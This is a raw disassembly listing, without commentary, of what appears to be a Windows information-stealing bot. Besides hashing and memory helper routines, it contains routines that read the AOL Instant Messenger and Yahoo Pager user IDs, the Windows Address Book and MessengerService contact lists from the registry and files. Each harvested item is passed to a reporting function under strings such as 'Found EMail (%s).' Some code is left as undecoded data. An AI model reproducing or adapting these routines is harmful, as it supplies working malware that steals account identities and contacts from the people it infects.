[esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_434770 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_433AB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434660 proc near ; CODE XREF: sub_433A20+14p ; sub_433A20+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_4346A7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43467A: ; CODE XREF: sub_434660+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43467A pop esi loc_4346A7: ; CODE XREF: sub_434660+7j pop edi retn sub_434660 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_43471A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4346ED: ; CODE XREF: sub_4346D0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4346ED pop edi pop esi loc_43471A: ; CODE XREF: sub_4346D0+7j pop ebp retn sub_4346D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434740 proc near ; CODE XREF: sub_433940+4Ep ; sub_433940+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_43475C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_434753: ; CODE XREF: sub_434740+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_434753 loc_43475C: ; CODE XREF: sub_434740+7j pop esi retn sub_434740 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434770 proc near ; CODE XREF: sub_433A20+60p ; sub_433AB0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_43479E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_43479E: ; CODE XREF: sub_434770+6j retn sub_434770 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4347B0 proc near ; CODE XREF: sub_401C0Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4347B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4347B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4348A0: ; CODE XREF: ___:loc_401F1Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BDF6 push eax mov eax, 16D4h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434E5E push 80h mov dword ptr [esp+1Ch], 800h nop call near ptr 77C2C407h add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_443600 ; " " push 1 push eax call sub_4016AE push 800h mov dword ptr [esp+16F0h], 0 call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 50F7241Dh, 4C48300h, 0B9F88Bh, 33000002h, 83D89C0h dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh, 0EE85024h dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh, 0CB59E850h dd 0FF50FFFCh, 4C483D7h, 32DAE850h, 83907781h, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004435h, 0B627E890h, 0B9001Bh, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0CBF0000h, 0F30050E4h dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h dd 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch dd 24BB5C8h, 81168B90h, 1FAh, 0B5850F80h, 0A0000001h, 446F70h dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh dd 51000001h, 44C75250h, 4424h, 0E8900000h, 246B54Ch, 1424448Bh dd 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh, 4C8D0000h dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h dd 80000003h, 402444C7h, 800h, 0B506E890h, 0C0850247h dd 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h, 55004436h dd 20244489h, 1BB4B8E8h, 0B99000h, 33000002h, 24BC8DC0h dd 6F4h, 0F310C483h, 100B9ABh, 0CBF0000h, 0F30050E4h, 24448DABh dd 19685010h, 6A000200h, 3685500h, 90800000h, 4EB4ABE8h dd 8468B02h, 18244C8Dh, 0E424948Dh, 51000006h, 14244C8Bh dd 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh, 81E85210h dd 90024BB4h, 8D08568Bh, 8D182444h, 6E4248Ch, 8B500000h dd 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h, 8BFC568Bh dd 16F424BCh, 8C8D0000h, 6E424h, 68525100h, 443D4Ch, 0E8694F8Dh dd 0FFFCC913h, 938F8Ah, 8A500000h, 9487h, 68515000h, 4D60B5h dd 0FCCC6FE8h, 1CC483FFh, 1024548Bh, 0B41AE852h, 8B90024Bh dd 8B24247Ch, 47142444h, 7C89F83Bh, 820F2424h, 0FFFFFED2h dd 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h, 10C683FFh, 5A24FE81h dd 820F0044h, 0FFFFFD2Ah, 0F75C2D8Bh, 448D0050h, 68501C24h dd 20019h, 0B068006Ah, 6800445Bh, 80000002h, 302444C7h dd 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h dd 68000000h, 104h, 7F778EE8h, 0C4839077h, 248C8D04h, 2E4h dd 0A468F08Bh, 5100445Bh, 446A5C68h, 0E8905600h, 1BB33Dh dd 443E8C68h, 0E8905600h, 7780A36Ch, 0C483F88Bh, 74FF8518h dd 948D5775h, 8024h, 52646A00h, 80BEF4E8h, 0C4839077h dd 74C0850Ch, 24448D53h, 6A44687Ch, 90500044h, 812F8BE8h dd 8C48377h, 3C75C085h, 0F424948Bh, 8D000016h, 517C244Ch dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh, 170024h dd 94888A00h, 8A000000h, 9390h, 68525100h, 4D60B5h, 0FCCB33E8h dd 18C483FFh, 0BD93E857h, 83907780h, 0F68504C4h, 0E8560A74h dd 777F74EFh, 4C48390h, 1C24448Bh, 0C5E89050h, 8D024BB2h dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch, 8D182454h, 2E42484h dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h dd 68F08B00h, 4469F8h, 69E86852h, 90560044h, 1BB22CE8h dd 3E8C6800h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h dd 8D576E74h, 802484h, 646A0000h, 0BDE3E850h, 83907780h dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 2E7AE890h dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh, 93h, 94838A50h dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 905718C4h dd 80BC88E8h, 4C48377h, 0A74F685h, 0E4E89056h, 83777F73h dd 548B04C4h, 90521C24h, 4BB1BBE8h, 244C8D02h, 2484C764h dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_434E5E: ; CODE XREF: ___:004348E1j lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434FE2 lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h call near ptr 2920000h nop test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_446948 push ecx mov dword ptr [esp+2Ch], 100h nop call near ptr 28D0000h test eax, eax jz short loc_434EE8 mov edx, [esp+10h] push edx nop call near ptr 28F0000h jmp loc_434FE2 ; --------------------------------------------------------------------------- loc_434EE8: ; CODE XREF: ___:00434ED6j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_50F738 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_44693C mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h nop call near ptr 2920000h test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h nop call near ptr 28D0000h test eax, eax jz short loc_434F9F mov ecx, [esp+10h] push ecx call ebp jmp short loc_434FE2 ; --------------------------------------------------------------------------- loc_434F9F: ; CODE XREF: ___:00434F94j mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_434FE2: ; CODE XREF: ___:00434E70j ; ___:00434E94j ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 90h db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4351E0 proc near ; CODE XREF: sub_4016F4j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4351E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_4351E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_435280: ; CODE XREF: ___:loc_401FD7j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017E4 mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43551E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h call near ptr 2920000h nop mov eax, [esp+14h] test eax, eax jz loc_43551E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_446F70 push eax nop call near ptr 28D0000h mov eax, [esp+14h] push eax nop call near ptr 28F0000h push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx nop call near ptr 2850000h push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2720000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_435359 push edi nop call near ptr 283074Ch pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435359: ; CODE XREF: ___:00435341j push 0 push 0 push 0 push 4 push ebx nop call near ptr 27207DBh mov esi, eax test esi, esi jnz short loc_435389 mov esi, dword_50F8D8 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435389: ; CODE XREF: ___:0043536Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_435428 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4353CB: ; CODE XREF: ___:0043541Ej xor eax, eax mov ecx, edi loc_4353CF: ; CODE XREF: ___:004353DFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4353CF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h add edi, 44h dec ebx jnz short loc_4353CB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_435428: ; CODE XREF: ___:004353B7j push edi mov edi, dword_50F8D8 call edi push esi nop call near ptr 2720967h push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 2920000h test eax, eax jnz loc_43551E mov ebx, off_50FBF0 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_435477: ; CODE XREF: ___:0043550Ej mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_446A88 push ecx call ebx ; sub_5EFFD5 mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h call near ptr 28D0000h nop test eax, eax jnz short loc_435513 lea ecx, [esp+2DCh] push ecx push offset dword_446A7C lea ecx, [ebp+69h] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h push 64h nop call near ptr 2821BE4h jmp loc_435477 ; --------------------------------------------------------------------------- loc_435513: ; CODE XREF: ___:004354D3j mov ecx, [esp+18h] push ecx nop call near ptr 28F0000h loc_43551E: ; CODE XREF: ___:004352A4j ; ___:004352D4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4355E0 proc near ; CODE XREF: sub_401E47j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4355E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_401681 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4355E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_401681 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4356F0 proc near ; CODE XREF: sub_401E4Cj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4356F0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435BC7 push ebp xor ebp, ebp push ebp push offset asc_443600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017E4 mov edi, dword_50F75C push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017E4 mov ebp, dword_50F724 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_43581C lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BCB+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_43581C: ; CODE XREF: sub_4356F0+FCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F0000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435904 lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BBF+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435904: ; CODE XREF: sub_4356F0+1E4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F0000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_4359EC lea ecx, [esp+144h+var_108] push ecx push offset loc_446BB4 lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_4359EC: ; CODE XREF: sub_4356F0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F0000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435AD4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435AD4: ; CODE XREF: sub_4356F0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F0000h push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017E4 push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_435BBD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435BBD: ; CODE XREF: sub_4356F0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_435C61 ; --------------------------------------------------------------------------- loc_435BC7: ; CODE XREF: sub_4356F0+3Cj lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435C67 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx 